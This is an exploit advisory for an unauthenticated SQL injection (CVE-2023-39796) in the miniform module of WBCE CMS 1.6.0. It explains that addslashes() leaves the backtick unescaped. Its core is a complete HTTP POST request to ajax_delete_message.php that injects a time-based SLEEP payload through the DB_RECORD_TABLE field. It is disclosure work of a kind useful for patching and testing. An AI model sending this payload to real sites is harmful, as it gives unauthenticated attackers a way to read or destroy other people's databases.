WBCE 1.6.0 SQL Injection

`# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0  
# Date: 15.11.2023   
# Exploit Author: young pope   
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS   
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip   
# Version: 1.6.0   
# Tested on: Kali linux   
# CVE : CVE-2023-39796  
  
There is an sql injection vulnerability in *miniform* module which is a   
default module installed in the *WBCE* cms. It is an unauthenticated   
sqli so anyone could access it and takeover the whole database.  
  
In file /modules/miniform/ajax_delete_message.php there is no   
authentication check. On line |40| in this file, there is a |DELETE|   
query that is vulnerable, an attacker could jump from the query using   
tick sign - ```.  
  
Function |addslashes()|   
(https://www.php.net/manual/en/function.addslashes.php) escapes only   
these characters and not a tick sign:  
  
* single quote (')  
* double quote (")  
* backslash ()  
* NUL (the NUL byte  
  
The DB_RECORD_TABLE parameter is vulnerable.  
  
If an unauthenticated attacker send this request:  
  
```  
  
POST /modules/miniform/ajax_delete_message.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,   
like Gecko) Chrome/36.0.1985.125 Safari/537.36  
Connection: close  
Content-Length: 162  
Accept: */*  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
  
action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record  
  
```  
  
The response is received after 6s.  
  
Reference links:  
  
* https://nvd.nist.gov/vuln/detail/CVE-2023-39796  
* https://forum.wbce.org/viewtopic.php?pid=42046#p42046  
* https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1  
* https://pastebin.com/PBw5AvGp  
  
`